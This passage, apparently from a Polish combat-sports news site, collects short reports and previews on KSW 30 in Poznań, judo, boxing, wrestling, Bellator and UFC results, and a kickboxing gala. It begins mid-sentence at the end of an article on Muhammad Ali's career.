remisem, ale Ali odniósł poważne obrażenia nóg. Potem stoczył jeszcze trzy wygrane pojedynki. W lutym 1978 roku stracił tytuł na rzecz mistrza olimpijskiego z Montrealu Leona Spinksa. Tytuł odzyskał pół roku poźniej, rewanżując się Spinksowi, ale było to już ostatnie jego zwycięstwo. Ogłosił przejscie na emeryturę 27 czerwca 1979 roku, ale wrócił w 1980 roku, chcąc odzyskać tytuł. Walczył z Larrym Holmesem. Niestety nie dotrwał do końca pojedynku, jego trener Dundee poddał go po 10 rundach. Także ostatnia walka Alego, 11 grudnia 1981 roku z Trevorem Berbickiem zakończyła się porażką. W 1984 roku zdiagnozowano u niego Parkinsonizm. 

KSW 30 „Genesis”: wysoka temperatura w Poznaniu

Nie zabrakło efektownych wymian, zaskakujących zwrotów akcji i emocji. Gala KSW 30 w Poznaniu pokazała, że niezwykle gorąco będzie w wadze półśredniej, gdzie rywalizacja zapowiada się interesującco. Z dobrej strony pokazały się zagraniczne gwiazdy, które należy uznać za wartość dodaną kolejnej odsłony KSW.

Zaczynając od pojedynku pań, dostarczył on wielu emocji i wrażeń. Jeśli ktoś sądzi, że żeńskie MMA jest nudne warto, aby jeszcze raz obejrzał walkę Karoliny Kowalkiewicz z Kalindrą Farią. Brazylijka była niezwykle wymagającą rywalką dla Polki. Pojedynek niezwykle dynamiczny, obfitujący w dużą ilość ciosów. Pierwsza runda dla Brazylijki, która biła mocno i zdecydowanie, a pod koniec rundy zdobyła obalenie. Kowalkiewicz w kolejnych odsłonach wykorzystała swoją szybkość. Dobra praca na nogach oraz serie ciosów rozbiły nos Farii. Sędziowie punktowali na korzyść Polki, która wygrała w stosunku 2:1. Faria zapowiedziała, że chciałby spotkać się z Kowalkiewicz jeszcze raz.

Zachwycił Kleber Koike Erbst. Mimo, że jego boks był dość enigmatyczny i trudny do określenia. Japończyk nisko trzymał gardę, ale celnie trafiał Azhieva. Na dodatek stosował dużą ilość kopnięć frontalnych. Azhiev był bezradny, chociaż starał się znaleźć sposób na rywala. Kleber zakończył walkę duszeniem trójkątnym. Doświadczenie Japończyka wzięło górę, a umiejętności w parterze robią duże wrażenie. Oby nie skończyło się tylko na jednym występie Koike w Polsce.

Nadal niepokonany jest Mateusz Gaamrot. Popularny „Gamer” stanął przed trudnym wyzwaniem. Rodrigo Cavalhiero to rywal doświadczony, z określonym potencjałem umiejętności i obyty na światowych arenach. Początek walki służył obu zawodnikom do rozpoznania, czynili tylko i wyłącznie badawcze kroki. Gamrot ruszył na rywala, ale Cavalheiro nie dał się zdominować. Walka w większości toczyła się w stójce. W trzeciej rundzie Polak doprowadził do obalenia i jego ciosy na ziemi zrobiły wrażenie na rywalu. „Gamer” zarzucił Cavalheiro serią uderzeń i sędzia zmuszony był przerwać walkę na sześć sekund przed końcem.

Co można powiedzieć o walce Saidov – Moks? Aslambek podszedł do pojedynku niemal jak rasowy mistrz, który rozłożył swojego rywala na cząsteczki i przewidział każdy jego ruch. Jedynie w pierwszej rundzie Moks próbował swoich skrętówek i sprowadzenia przeciwnika do parteru. Z każdą kolejną minutą Saidov zwiększał swoją przewagę. Stosował kopnięcia, zarzucał rywala ciosami i nie dał możliwości „Kulturyście” walki w parterze. Jeśli już Moks sprowadził rywalizację do parteru to Saidov za chwilę wstawał. Nie dał przeciwnikowi możliwości wykorzystania swoich największych atutów. Pojedynek na linii trzech rund nie wyłonił zwycięzcy, ale sędziowie nie mili wątpliwości – trzy raz punktowali 30-27 na korzyść Saidova.

Walka wieczoru w wykonaniu Borysa Mańkowskiego i Mohsena Bahariego daleka była od ideału. Trzeba przyznać, że Norweg pokazał się z dobrej strony, choć o pojedynku dowiedział się w ostatniej chwili. „Diabeł Tasmański” przeważał w stójce, zaliczył kilka obaleń. W połowie drugiej rundy Mańkowski osłabł. Wyższy Bahari starał się celnie trafić Polaka, jednak ta sztuka nie powiodła się. Sędziowie punktowali na korzyść Mańkowskiego.

Klincz był płaszczyzną walki Michała Włodarka i Szymona Bajora. Panowie walczyli taktycznie, co nie ziściło marzeń publiczności o szybkim i efektownym nokaucie. Na punkty wygrał Włodarek. Jakub Kowalkiewicz czekał tylko na okazję sprowadzenia walki na ziemię. W końcu plany fightera  z Warszawy ziściły się i Rajewski musiał odklepać. Po trzech rundach ogłoszono remis w starciu Kamila Gniadka z Mateuszem Zawadzkim.

Gala KSW 30 „Genesis” była ciekawym widowiskiem. Przekonaliśmy się, że w kategorii półśredniej czekają nas jeszcze wielkie emocje. Niezwykle interesujące starcie Kowalkiewicz i Farii pokazało, że kobiece MMA musi być obecne w karcie walk. Zachwycił Kleber, konsekwentnie swoją pozycję buduje Gamrot. A do rywalizacji wrócił profesor Saidov. Szkoda tylko, że Mańkowski nie spełnił oczekiwań. Wiadomo, że na kolejnej gali KSW dojdzie do starcia Michała Materli z Tomaszem Drwalem.

Walka wieczoru: 80 kg: Borys Mańkowski pokonał przez decyzję sędziów Mohsena Bahariego

Karta główna:

77 kg: Aslambek Saidow pokonał decyzją sędziów Rafała Moksa
52 kg: Karolina Kowalkiewicz pokonała niejednogłośną decyzją sędziów Kalindrę Farię
70 kg: Mateusz Gamrot pokonał przez TKO Rodrigo Cavalhiero
66 kg: Kleber Koike Erbst pokonał przez poddanie Anzora Ażhieva
120 kg: Michał Włodarek pokonał decyzją sędziów Szymona Bajora
70 kg: Jakub Kowalewicz pokonał przez poddanie Łukasza Rajewskiego

Karta wstępna:

72 kg: Kamil Gniadek – Mateusz Zawadzki – sędziowie ogłosili remis

 

KM

 

GP w judo: Nieudany początek Polaków

Turniej Grand Prix w Duesseldorfie nie rozpoczął się dla biało – czerwonych najlepiej. Troje naszych reprezentantów przegrało swoje pierwsze walki.

Karolina Pieńkowska, Aleksander Beta oraz Paweł Zagrodnik pożegnali się z rywalizacją. Turniej w Duesseldorfie dopiero wystartował i w kolejnych dniach w akcji zobaczymy resztę naszych reprezentantów.

Pieńkowska w kategorii wagowej 52 kg trafiła na Misato Nakamurę. Rywalka z najwyższej półki, Polka stanęła przed ogromnym wyzwaniem, które okazało się przeszkodą nie do przejścia. Japonka to brązowa medalistka Igrzysk Olimpijskich z Pekinu oraz dwukrotna mistrzyni świata w judo z 2009 i 2011 roku. Nakamura wygrała pewnie przez ippon. Pieńkowska nie może występu w Duesseldorfie zaliczyć do udanych, choć szczerze mówiąc trafiła na rywalkę z najwyższej półki. Reprezentantka Polski w judo zanotowała kolejny występ poniżej oczekiwań. W ostatnim Pucharze Świata w Oberwart również opadła w pierwszym dniu eliminacji. Choć jeszcze raz warto podkreślić, że w Niemczech Pieńkowska trafiła na Nakamurę, czyli zawodniczkę niezwykle utytułowaną i wymagającą. Być może kolejny start będzie lepszy w wykonaniu Polki. Podczas turnieju Belgian Ladies Open nasza zawodniczka zajęła trzecią pozycję, więc pozostaje głęboko wierzyć, że Pieńkowska wróci na właściwe tory.

W rywalizacji mężczyzn w kategorii 66 kg nie powiodło się Aleksandrowi Becie oraz Pawłowi Zagrodnikowi. Zawodnik z Łodzi dość pechowo przegrał swoją walkę. Beta uległ reprezentantowi Turcji Sinanowi Sandalowi jedną karą shido. Szczęścia zabrakło również Pawłowi Zagrodnikowi. Piąty zawodnik Igrzysk Olimpijskich w Londynie przegrał z reprezentantem Korei Południowej – An Ba-ulem. Obaj panowie mogą już rozpocząć przygotowania do startu w Pucharze Świata, który za tydzień odbędzie się na warszawskim Torwarze.

Wracając do wydarzeń z Duesseldorfu, pierwszy dzień zmagań bez sukcesów. Nasi reprezentanci mieli pecha (Beta) albo trafiali na bardzo wymagających przeciwników (Pieńkowska). W sobotę na tatami zobaczymy Łukasz Błacha oraz Jakuba Kubieńca w kategorii 81 kg. Ponadto, w Niemczech wystartuje Agata Ozdoba, która miała bardzo udany poprzedni sezon. Bardzo dobry występ na mistrzostwach Europy we Francji, skąd Polka przywiozła brązowy medal. Dodatkowo Ozdoba wywalczyła brązowy medal drużynowo podczas mistrzostw świata w Czelabińsku. Z kolei w niedzielę na arenie pojawi się Daria Pogorzelec. Zawodniczka z Gdańska w poprzednim sezonie notowała bardzo dobre starty. Teraz po raz pierwszy pojawi się na międzynarodowych zawodach. Warto dodać, że Grand Prix w Duesseldorfie jest zaliczane do kwalifikacji olimpijskich Rio 2016.

Pierwszy dzień w wykonaniu naszych reprezentantów w judo dość niemrawy. Liczymy, że na koniec będziemy mieli powody do radości. Tydzień temu w Oberwart Agata Perenc wywalczyła brąz. Cenne jest, iż stało się regułą, że niemalże z każdych zawodów Polacy przywożą medal. Niech ten trend zostanie podtrzymany podczas Grand Prix w Duesseldorfie.

KM

Zmiana w karcie dań – Mańkowski ukąsi Norwega?

Borys Mańkowski będzie główną gwiazdą KSW 30 „Genesis”. 25-latek początkowo miał mierzyć się z Michaiłem Tsarevem, jednak walka nie dojdzie do skutku.

Powodem takiego obrotu sprawy jest niedopuszczenie przez lekarzy Rosjanina do walki. Tsarev przybył do Polski, jednak z powodu wysokiej gorączki jego występ jest niemożliwy. Federacja KSW stanęła niemalże pod ścianą, ale udało się znaleźć rywala dla Mańkowskiego. W walce wieczoru „Diabeł Tasmański” zmierzy się z Mohsenem Baharim.

Niedawno Norweg był pretendentem do pasa Cage Warriors. Bahari przegrał pojedynek przez decyzję sędziów, jego pogromcą okazał się Nicolas Dalby. Zatem do Poznania Norweg przyjedzie poprawić swój bilans. Warto zaznaczyć, że Bahari w swojej karierze rywalizował już z polskim fighterem. W 2012 roku podczas CWFC – Fight Night 7 zmierzył się z Piotrem Ptasińskim i wygrał decyzją sędziów. O Norwegu mówi się, że jest nieustępliwy i w klatce niezwykle agresywny. W związku z faktem, że Bahari został zakontraktowany w ostatniej chwili limit walki wieczoru na KSW 30 ustalono na 80 kg. Przez tak krótki okres czasu niemożliwe jest wręcz, aby fighter zszedł do wagi 77 kg. W związku z tym stawką pojedynku nie będzie mistrzowski pas Mańkowskiego.

Dla „Diabła Tasmańskiego” to trudna sytuacja. W takich momentach upada plan zawodnika, który miał rozpracowanego rywala. Tak było z Tsarevem – Mańkowski z pewnością zdążył obejrzeć materiały z walk Rosjanina, poznać jego mocne i słabe strony. Na analizę możliwości Bahariego Polak ma niecałe dwa dni. Z pewnością istotny jest fakt, że Mańkowski skoncentrowany był na przygotowaniach do występu i w związku z tym jego kondycja oraz motoryka są na odpowiednim poziomie. Inaczej sytuacja wygląda u Norwega, który przyjął propozycję w ostatniej chwili. Przez dwa dni nie będzie w stanie nadrobić braków. Inaczej wygląda trening pod kątem przygotowań do walki, czymś zupełnie innym jest dbanie o formę. Można powiedzieć, że w pewnym sensie Bahari „idzie na żywioł”. Takie walki mają swój urok, gdyż na bok schodzi kwestia asekuracji. Taktyczne przygotowanie do pojedynku, w takim przypadku, jest dalekie od ideału i fighterzy postępują trochę instynktownie.

Ciężar pojedynku Mańkowskiego miał być zupełnie inny – walka w obronie pasa KSW. Stało się tak, a nie inaczej i ten stan rzeczy należy zaakceptować. Mańkowski imponuje i publiczność chce zobaczyć go w akcji. Wszyscy czekają na pojedynek wieczoru, w którym Polak stanie naprzeciw Norwega irańskiego pochodzenia. Mańkowski wygrał ostatnie trzy pojedynki na KSW i stał się gwiazdą federacji. Najmłodszy mistrz KSW, który zachwyca i pnie się na szczyt. W swojej ostatniej walce w osiemdziesiąt sekund uporał się z Davidem Zawadą. Teraz stanie przed Baharim, aby odnieść kolejne zwycięstwo. Pojedynek zmontowany naprędce, który będzie walką wieczoru. Szkoda Tsareva, jednak zdrowie jest najważniejsze. Ciężar pojedynku z Baharim będzie zupełnie inny, choć to też wymagający rywal. Mańkowski – Bahari głównym daniem KSW 30.

KM

Gorąca klatka KSW

W Poznaniu odbędzie się trzydziesta gala Konfrontacji Sztuk Walki. 21 lutego będzie miało miejsce niezwykłe sportowe wydarzenie. Ciekawe walki, które mogą dostarczyć wiele emocji i wrażeń.

Długo na nazwisko swojego rywala musiał czekać Anzor Azhiev. Wschodząca gwiazda KSW podczas poznańskiej gali zmierzy się z Kleberem Koike Erbstem. Japończyk będzie wyzwaniem dla Azhieva, gdyż ostatnią porażkę poniósł w 2009 roku. Kleber w swojej karierze wygrał piętnaście walk, z czego czternaście rozstrzygnął przed czasem. Azhiev musi być ostrożny i uważny, aby nie paść ofiarą Japończyka. Zawodnik z Groznego na KSW  28 w rywalizacji z Helsonem Henriquesem pokazał charakter, wolę walki i ogromne umiejętności. Wygrana Azhieva zrobiła kolosalne wrażenie na widzach. Czy Anzor będzie w stanie powtórzyć swój wyczyn? Przyjdzie mu rywalizować z trudnym rywalem. W klatce będzie się działo.

Przed trudnym zadaniem stanie Karolina Kowalkiewicz, która zmierzy się z Kalindrą Farią. Brazylijka jest klasyfikowana jako dziewiąta zawodniczka na świecie w kategorii słomkowej. W swojej karierze wygrała piętnaście pojedynków, zanotowała pięć porażek. Faria jest zawodniczką doświadczoną, wszechstronną i gotową podjąć trudne wyzwanie. Dla Karoliny Kowalkiewicz będzie to wymagający pojedynek, jednak mistrzyni KSW pokazała, że robi ustawiczne postępy. Zwycięstwo podczas gali Invicta FC z Mizouke Inoue pokazał, iż Polka obrała kurs na szczyt. W KSW ma niepodważalną pozycję, więc de facto Faria musi się obawiać. Kowalkiewicz walczy u siebie, gdzie jest gwiazdą.

Niezwykle interesująco zapowiada się starcie Rafała Moksa z Aslambekiem Saidovem. Dla Kulturysty będzie to szczególnie istotna walka. Obaj panowie mieli już przyjemność stanąć naprzeciw siebie, a miało to miejsce podczas KSW 17. Moks przegrał niejednogłośną decyzją sędziów i teraz liczy na rewanż. Kulturysta ostatnimi czasy zachwyca wszystkich swoją efektywnością w ringu. Wygrał ostatnie trzy walki na KSW punktując kolejno: Marcina Naruszczkę, Luiza Cado Simona i Daniela Acacio. Wszystkie pojedynki kończył stosując gilotynę. Niezwykle gibki oraz sprytny Moks chce zrewanżować się za porażkę i unieść ręce w glorii chwały po rywalizacji z Saidovem. Zawodnik z Olsztyna wraca do klatki po problemach osobistych. Ostatnio zaprezentował się publiczności podczas KSW 27 w maju 2014 roku, kiedy przegrał z Borysem Mańkowskim. Na galach najlepszej polskiej organizacji zanotował do tej pory dwie porażki, czy Moks sprawi, że Saidov poniesie kolejną klęskę?

Kolejną walkę dla KSW stoczy Mateusz Gamrot, który nie zaznał jeszcze goryczy porażki. Tym razem przyjdzie mu walczyć z doświadczonym Rodrigo Cavalheiro Correirą.  O pierwszą wygraną na gali KSW powalczy Łukasz Rajewski. Podczas KSW 27 zawodnik Ankosu Poznań przegrał z Łukaszem Chlewickim. Teraz Rajewski stanie naprzeciw Jakuba Kowalewicza, który podczas KSW 28 wygrał z Kamilem Gniadkiem. W kategorii 120 kg dojdzie do starcia Szymona Bajora z Michałem Włodarkiem. W karcie wstępnej zaplanowano jedną walkę – Kamila Gniadka z Mateuszem Zawadzkim.

Główną atrakcją wieczoru będzie pojedynek o pas mistrzowski KSW w kategorii półśredniej pomiędzy Borysem Mańkowskim, a Michaiłem Tsarevem. Gala KSW 30 odbędzie się 21 lutego w Poznaniu, start o godzinie 19:00.

KM

Życiowa szansa Janika, tak czy nie?

Łukasz Janik w kwietniu stanie przed szansą zdobycia mistrzowskiego pasa federacji WBA w wadze cruiser. Rywalem Polaka będzie Rosjanin Denis Lebiediew.

Do walki pozostaje coraz mniej czasu i należy poważnie zastanowić się nad szansami Polaka. Janik stanie przed życiową szansą. Propozycji walki o mistrzostwo świata się nie odmawia i zgodnie z tym bokser z Jeleniej Góry w kwietniu zmierzy się w ringu z Lebiediewem. Do tej pory Janik zanotował w swojej karierze dwadzieścia osiem zwycięstw i dwie porażki. W 2011 roku w drugiej rundzie pokonał Cristiana Dolzanelliego i wywalczył pas WBC Baltic Silver. Janik miał szansę wywalczyć wakujący tytuł mistrza świata federacji IBO. W listopadzie 2013 roku o pas zmierzył się z Olą Afolabim. Janik przegrał decyzją sędziów, którzy punktowali dwa do remisu – 114:114, 111:117 i 113:115. Dla Polaka była to druga porażka w zawodowej karierze, pierwszej doznał w starciu z Mateuszem Masternakiem. Janik to solidny pięściarz, który swoją przygodę z boksem zaczynał w grupie Wilfireda Sauerlanda. W większości swoje pojedynki toczył w Polsce, kilka miało miejsce w Niemczech. Ponadto, Janik walczył w Rosji, Szwajcarii czy Kanadzie. Solidność pozwoliła mu osiągnąć poziom, który sprawił, że otrzymał propozycję walki o mistrzostwo świata.

Janik stanie w ringu z Denisem Lebiediewem. Rosjanin to mocny bokser, który większość swoich walk kończył przez nokaut. Tytuł zdobył w 2012 roku, na chwilę stracił pas w pojedynku z Guillermo Jonesem, ale okazało się, że Panamczyk stosował zakazane środki. W swojej karierze Lebiediew pokonał Jamesa Toneya, Roya Jonesa Jr czy Aleksandra Aleksiejewa. Do tej pory świat boksu wraca do rywalizacji Rosjanina z Marco Huckiem o mistrzostwo świata WBO. Niemiec wygrał niejednogłośnie na punkty, co pobudziło dyskusję na płaszczyźnie zasadności werdyktu. Wielu ekspertów miało wątpliwości, czy Huck zasłużył na zwycięstwo. Lebiediew w ciągu kariery ugruntował swoją pozycję na światowych listach, stał się jednym z czołowych bokserów wagi junior ciężkiej.

Łukasz Janik staje przed niezwykle trudnym zadaniem. We wrześniu szansę odebrania tytułu Rosjaninowi miał Paweł Kołodziej, jednak jego starania spełzły na niczym. Polak został znokautowany w drugiej rundzie. Czy Janik wytrzyma dłużej od pięściarza z Krynicy? Walczący na swoim terenie Lebiediewem jest niczym lew, który strzeże swojego terytorium i nikomu nie pozwoli na zajęcia skrawka obszaru. Janik dostał szansę i postara się ją wykorzystać. Z tym, że musi być przygotowany na trudne warunki – potężne ciosy, pewny siebie rywal i specyfika rosyjskich gal. Nie licząc pojedynku z Jonesem – Lebiediew pozostaje niepokonany od 2011 roku.

Okazuje się, że wszystkie dywagacje i analizy mogą być nieważne. Dlaczego? Do walki Janika z Lebiediewem może nie dojść. Negocjacje między stronami na temat organizacji pojedynku trwały długo i osiągnięto kompromis. Walka miała czy też nadal ma się odbyć 4 kwietnia. Pojawiły się komplikacje, które stawiają podstawowe pytanie: czy dojdzie do tego pojedynku? Otóż, w sprawę wmieszali się prawnicy Youriego Kalengi, którzy twierdzą, że walka Janika z Lebiediewem nie może się odbyć. Do władz federacji WBA wystosowano w tej kwestii list. Wedle prawników Janik nie spełnia warunków, które dawałyby mu prawo walki o mistrzowski pas. Teraz ruch po stronie WBA. Federacja musi odnieść się do zarzutów ze strony obozu Kalengi i zadecydować, czy Janik 4 kwietnia stanie naprzeciw Lebiediewa.

KM

Zapaśnicza walka o mistrzostwa

I Puchar Polski seniorów w zapasach w stylu klasycznych był kolejnym polem doświadczeń przed głównymi imprezami obecnego sezonu. Zawodnicy  w dniach 13 – 14 lutego rywalizowali o medale, ale zarazem toczyła się walka o przybliżenie się do udziału w najważniejszych tegorocznych turniejach.

Chodzi oczywiście o Igrzyska Europejskie w Baku i mistrzostwa świata w Las Vegas. W Raciborzu stawiła się czołówka krajowa, która bardzo poważnie podeszła do rywalizacji. Na starcie dziewięćdziesięciu zawodników przygotowanych w pełni do walki. Zapaśnicy dostarczyli wiele emocji i zaprezentowali przyzwoity poziom. Zwyciężali faworyci. Dobrą formę z zawodów Grand Prix w Paryżu potwierdzili Damian Janikowski i Mateusz Wolny, którzy w stolicy Francji zdobyli odpowiednio srebro i brąz. W Raciborzu brązowy medalista Igrzysk Olimpijskich w Londynie nie miał sobie równych w rywalizacji w kategorii wagowej 85 kg. Mateusz Wolny z Unii Racibórz okazał się najlepszy w 75 kg. W kategorii 80 kg triumfował Jakub Tim. Ponadto po złote medale sięgnęli: Michał Tracz (59 kg), Gevorg Samakyan (66 kg), Bartosz Sikora (71 kg), Łukasz Konera (98 kg) i Łukasz Banak (130 kg). W rywalizacji klubowej najlepszy okazał się AKS Piotrków Trybunalski przed Olimpijczykiem Radom oraz Śląskiem Wrocław. Zapaśnicy kontynuują rywalizację i przygotowują się do kolejnych startów. Dla wielu z nich najważniejsze są mistrzostwa świata w Las Vegas, które mogą dać przepustkę na Igrzyska Olimpijskie w Rio de Janeiro.

Panowie rywalizowali w Pucharze Polski, a panie prezentowały swoje umiejętności podczas międzynarodowego turnieju Klippan Lady Open. Zawody były silnie obsadzone, jednak nasza reprezentacja pokazała się z dobrej strony. Ze Skandynawii biało – czerwone przywiozły dwa medale. Nie udało się wygrać, ale brązowe krążki też są sporym osiągnięciem. Medale zawisły na szyjach Iwony Matkowskiej (48 kg) oraz Katarzyny Krawczyk (53 kg). Obie zapaśniczki bardzo dobrze rozpoczęły sezon, już podczas Grand Prix w Paryżu zaprezentowały wysoki poziom. We Francji Matkowska wywalczyła drugie, a Krawczyk trzecie miejsce. Warto dodać, że 32-letnia zawodniczka Grunwaldu Poznań w ostatnim okresie jest w dobrej formie. W 2014 roku Matkowska w Taszkiencie zdobyła srebrny medal mistrzostw świata. Miejmy nadzieję, że w Las Vegas powtórzy swój wyczyn i dodatkowo wywalczy bilet do Rio. Z kolei Katarzyna Krawczyk w ubiegłym roku sięgnęła po złoty medal Wojskowych Mistrzostw Świata. Od początku sezonu obie zapaśniczki prezentują się bardzo dobrze. Solidnie przepracowały okres przygotowawczy, co przynosi efekty. Czy Matkowską i Krawczyk stać na dobre występy w Baku i w Las Vegas? Z pewnością tak, gdyż od pewnego czasu stale potwierdzają swoją dobrą dyspozycję.

Warto nadmienić, że w Klippan z dobrej strony pokazała się Agnieszka Król, która zajęła piątą lokatę w kategorii 63 kg.

KM

Radosny Shlemenko, pewny Henderson

Jeden potrzebował dwóch rund, drugi czterech, aby unieść dłonie w glorii chwały. Shlemenko wraca do gry po słabszych występach, a Henderson wykonał pierwszy udany ruch w nowej dla siebie kategorii – półśredniej. W jaki sposób fighterzy rozstrzygnęli swoje pojedynki?

Alexander Shlemenko po słabszym okresie w swojej karierze powrócił do gry o najwyższą stawkę. Rosjanin podczas gali Bellator 133 pokazał, że uśpione są w nim ogromne moce. Naprzeciw siebie stanęli dwaj fighterzy, których renoma w mieszanych sztukach walki jest doskonale znana. Malvin Manhoef i Alexander Shlemenko – pojedynek wielkich lotów. Rosjanin zaskoczył  swojego przeciwnika, któremu dawano nieco większe szanse na triumf. Dla Manhoefa nastał trudny czas, gdyż przegrał drugą walkę z rzędu. Na gali Bellator 131 przegrał z Joe Schillingiem, teraz musiał uznać wyższość Shlemenki. Holender toczył przez dwie rundy wyrównaną walkę w stójce z Rosjaninem. Shlemenko zaskoczył Manhoefa potężnym obrotowym łokciem, po którym jego rywal nie był w stanie kontynuować walki. Rosjanin początkowo próbował sprowadzić walkę do parteru, jednak Holender skutecznie odpierał te ataki. W końcu Shlemenko wyczekał moment, w którym zastopował Manhoefa. Po niezbyt dobrych występach Rosjanin zanotował sukces. W grudniu na gali Fight Nights – Battle of Moscow 18 pokonał Yasubeya Enomoto, teraz pokonał Manhoefa i jest na najlepszej drodze do ustabilizowania swojej formy oraz pozycji w świecie mieszanych sztuk walki. Wygrana wzbogaciła konto 30-latka o dwadzieścia tysięcy dolarów, Manhoef musiał zadowolić się wypłatą o pięć tysięcy dolarów mniejszą.

W Bellatorze walką wieczoru było starcie Shlemenko – Manhoef, podczas gali UFC Fight Night w Broomfield prawdziwe widowisko stworzyli Benson Henderson i Brandon Thatch. Smooth debiutował tym pojedynkiem w wadze półśredniej. Początek starcia należał do Thatcha, który wykorzystywał przewagę warunków fizycznych. Kopnięcia i ciosy na korpus docierały do Hendersona, jednak ten starał się atakować kombinacjami. W drugiej rundzie Thatch zdobył dwa obalenia, z których nie wyciągnął większej korzyści. Trzecia odsłona to zapasy w wykonaniu Hendersona. Smooth przeniósł walkę na ziemię i trzymał się konsekwentnie pleców rywala niemalże do samego końca rundy. Henderson w dalszej fazie walki kontynuował swoją taktykę, co przyniosło pożądany efekt. Były mistrz kategorii lekkiej sprowadził walkę do parteru w odpowiednim momencie, ułożył sobie rywala idealnie i zastosował ciasne duszenie. Thacth odklepał, co sprawiło, że zwycięstwo Hendersona stało się faktem. Warto dodać, iż dla Smootha wygrana ma ogromne znaczenie. Ostatnie dwie walki Henderson przegrał, co powodowało, że rodziły się sugestie dotyczące jego wartości i znaczenia w UFC. W pojedynku z Thatchem drzemiące w nim ogromne możliwości, które zostały na chwilę uśpione. Należy dodać, iż walka obu panów została uznana za pojedynek wieczoru, co wzbogaciło ich konta o dodatkowe pięćdziesiąt tysięcy dolarów.

KM

Turnieje Boxcino w FightKlubie

Już dzisiaj w telewizji FightKlub rozpoczniemy sezon 2015 z turniejami Boxcino. Organizowane przez telewizję ESPN i Banner Promotions imprezy skupiają przede wszystkim młodych adeptów sztuki pięściarstwa. Wyłonieni w drodze bezpośredniej konfrontacji zwycięzcy zyskują rozgłos i dobrą pozycję rankingową do ataków na światowe tytuły. Nabywają także niezbędnego doświadczenia i wykuwają charakter w starciach z innymi młodymi, głodnymi zwycięstw i sławy rywalami.

Na pierwszy ogień pójdą zawodnicy z kategorii junior średniej (limit 154 funty) W ćwierćfinałach turnieju w Mohegan Sun Casino w Uncasville w Connecticut zobaczymy następujące pojedynki: Cleotis Pendarvis (17-4-2, 6 KO) zmierzy się z Ricardo Pinellem (10-1-1, 6 KO), Stanisław Skorokhod (8-0, 6 KO) podejmie Michaela Moore’a (13-0, 6 KO), Brandon Adams (15-1, 10 KO) skrzyżuje rękawice z Alexem Perezem (18-1, 10 KO), zaś Vito Gasparyan (14-3-4, 8 KO) stanie naprzeciw Simeona Hardy’ego (13-0, 10 KO). Wszystkie pojedynki zostaną rozegrane na gwarantującym wysokie tempo dystansie 6 rund.

– Jesteśmy podekscytowani rozpoczęciem turniejowego sezonu. W zeszłym roku imprezy okazały się dużym sukcesem i nie możemy się doczekać na start sezonu turniejowego na gali z udziałem bokserów kategorii junior średniej w Mohegan Sun. Na tej arenie widzieliśmy już wiele klasyków i mamy zamiar nawiązać do tej tradycji – powiedział promotor Artie Pelullo z Banner Promotions.

Gala na żywo wyłącznie w FightKlubie. Na transmisje zapraszamy w nocy z piątku na sobotę od 03:00, powtórka w sobotę od 12:00.

Źródło: materiały prasowe

Kosowski i Kasperski uświetnią galę w Kielcach

28 lutego w Kielcach odbędą się obchody 25-lecia Polskiego Związku Kickboxingu. Wydarzenie uświetni trzecia edycja gali Fighters Night, jedną z gwiazd imprezy będzie Wojciech Kosowski.

Organizator zawodów, Ostrowiecki Klub Sportów Walki, zadbał o to, aby widzowie, którzy zgromadzą się w kieleckiej hali nie mogli narzekać na nudę. Bardzo ciekawa karta walk, w której widnieją takie nazwiska jak Kosowski, Walkiewicz, Kasperski, Sarara czy Hiki.

Medalista mistrzostw Europy,  zdobywca Pucharów Świata i wielokrotny mistrz Polski Wojciech Kosowski stoczy pojedynek z Miroslawem Smolarem ze Słowacji w kategorii do 75 kg. Zawodnik Palestry Warszawa, który w 2014 roku zdobył tytuł Mistrza Świata Pro-Am w tajskim boksie jest zdecydowanym faworytem rywalizacji.

Organizatorzy zaplanowali również jeden pojedynek kobiet. W kategorii wagowej do 52 kg wystąpi amatorska mistrzyni Europy WAKO w formule Low Kick Joanna Walkiewicz, która zmierzy się z Zuzaną Gabovą. Ciekawie zapowiada się starcie w kategorii ciężkiej. O pas Zawodowego Mistrza Polski w kategorii do 91 kg walczyć będą Robert Cepak i Mateusz Hiki.

Na gali w Kielcach zaprezentuje się Tomasz Sarara. Jeden z najlepszych polskich zawodników w wadze ciężkiej będzie rywalizował z Alexandrem Bodruhinem. Ukrainiec jest mistrzem swojego kraju w kickboxingu na zasadach K-1. Sarara swój ostatni pojedynek stoczył w październiku ubiegłego roku na gali Pride of the Royal City w Krakowie, gdzie okazał się lepszy od Jegisha Yegoiana. Przed zawodnikiem klubu Trenuj Sporty Walki kolejne wyzwanie. Bodruhin na płaszczyźnie zawodowej notuje dobre występy, wygrywał na galach organizacji Final FC.

W pojedynku wieczoru wystąpi Dawid Kasperski, nazwisko rywala zawodnika Punchera Wrocław nie jest jeszcze znane. Stawką walki będzie tytuł Międzynarodowego Mistrza Polski w kategorii do 86 kg. Kasperski wraca do rywalizacji po porażce, której doznał na gali Superkombat w listopadzie. Polak wystąpił w czterosobowym turnieju w kategorii do 86 kg. Stawką rywalizacji był pas mistrzowski organizacji, jednak Kasperskiemu nie było dane go zdobyć. W półfinałowym starciu polski fighter niejednogłośnie na punkty przegrał z Francuzem Aristote Quitusisą. W Kielcach z pewnością Kasperski będzie chciał zaprezentować się z jak najlepszej strony i powrócić na zwycięską ścieżkę. 24-latek jest jednym z wyróżniających się fighterów wagi ciężkiej w Polsce, czego najlepszym dowodem są jego występy na galach Superkombat.

Polski Związek Kickboxingu obchodzi swoje 25-lecie i z tej okazji odbędzie się prawdziwa gratka dla kibiców w postaci gali Fighters Night 3, na której wystąpią czołowi zawodnicy kickboxingu w Polsce. Wojciech Kosowski, który bardzo dobrze radził sobie podczas występów w Tajlandii, Joanna Walkiewicz – obecna mistrzyni Europy, Tomasz Sarara – mistrz Polski low-kick 2014 czy Dawid Kasperski, który swoje umiejętności prezentuje na galach organizacji Superkombat. Emocji i wrażeń nie zabraknie, a taka impreza może tylko i wyłącznie służyć promocji kickboxingu na szerszą skalę.

KM

Nic nie podpisali

Negocjacje na temat pojedynku Floyd Mayweathaer Jr – Manny Pacquiao nadal trwają. Strony nie podpisały kontraktu na organizację starcia.

Angielski The Telegraph puścił w eter informację, że 2 maja w Las Vegas dojdzie do walki Moneya z Pacmanem. Wedle informacji gazety Pacquiao miał podpisać kontrakt, a Mayweathaer miał ogłosić ten fakt w Nowym Jorku, gdzie przebywał na All Star Weekend NBA. Jak się okazało – nic takiego nie miało miejsca. Doniesienia te zostały szybko zdementowane.

